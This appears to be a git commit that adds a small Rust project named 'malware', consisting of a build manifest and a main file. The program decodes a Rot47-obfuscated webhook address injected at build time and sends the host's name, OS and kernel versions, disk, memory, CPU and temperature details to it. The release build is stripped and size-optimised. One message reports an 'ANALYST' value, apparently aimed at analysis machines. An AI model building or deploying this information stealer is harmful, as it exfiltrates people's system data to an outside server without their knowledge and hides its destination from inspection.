original code no changes

This commit is contained in:
husky 2023-01-29 19:57:37 -08:00
commit e580efbfb7
3 changed files with 58 additions and 0 deletions

1
.gitignore vendored Normal file
View file

@ -0,0 +1 @@
/target

17
Cargo.toml Normal file
View file

@ -0,0 +1,17 @@
[package]
name = "malware"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
sysinfo = "0.27.7"
webhook = "2.1.2"
cienli = "0.3.1"
tokio = { version = "1.0", features = ["full"] }
rand = "0.8.5"
[profile.release]
strip = true
opt-level = "z"

40
src/main.rs Normal file
View file

@ -0,0 +1,40 @@
use rand::prelude::*;
use webhook::client::WebhookClient;
use sysinfo::*;
use cienli::ciphers::rot::{Rot, RotType};
async fn send(id: u16, message: String) {
let url = Rot::new(env!("WEBHOOK"), RotType::Rot47);
let client: WebhookClient = WebhookClient::new(&url.decipher());
client.send(|m| m
.username(format!("{}", id).as_str())
.content(message.as_str())
).await;
}
#[tokio::main]
async fn main() {
let mut sys = System::new_all();
sys.refresh_all();
let hostname = sys.host_name().unwrap_or("Unknown".to_string());
let os_name = sys.name().unwrap_or("Unknown".to_string());
let kernel_version = sys.kernel_version().unwrap_or("Unknown".to_string());
let os_version = sys.os_version().unwrap_or("Unknown".to_string());
let id: u16 = random();
send(id, format!("hello! i am {} running on {} {} (kernel {})", hostname, os_name, os_version, kernel_version)).await;
send(id, format!("i was originally uploaded to {}", env!("ANALYST"))).await;
send(id, format!("disks: {:#?}", sys.disks())).await;
send(id, format!("total ram: {} bytes, used ram: {} bytes, total swap: {} bytes, used swap: {} bytes", sys.total_memory(), sys.used_memory(), sys.total_swap(), sys.used_swap())).await;
send(id, format!("cpu info: {:#?}", sys.cpus())).await;
send(id, format!("temperature info: {:#?}", sys.components())).await;
send(id, format!("done!")).await;
}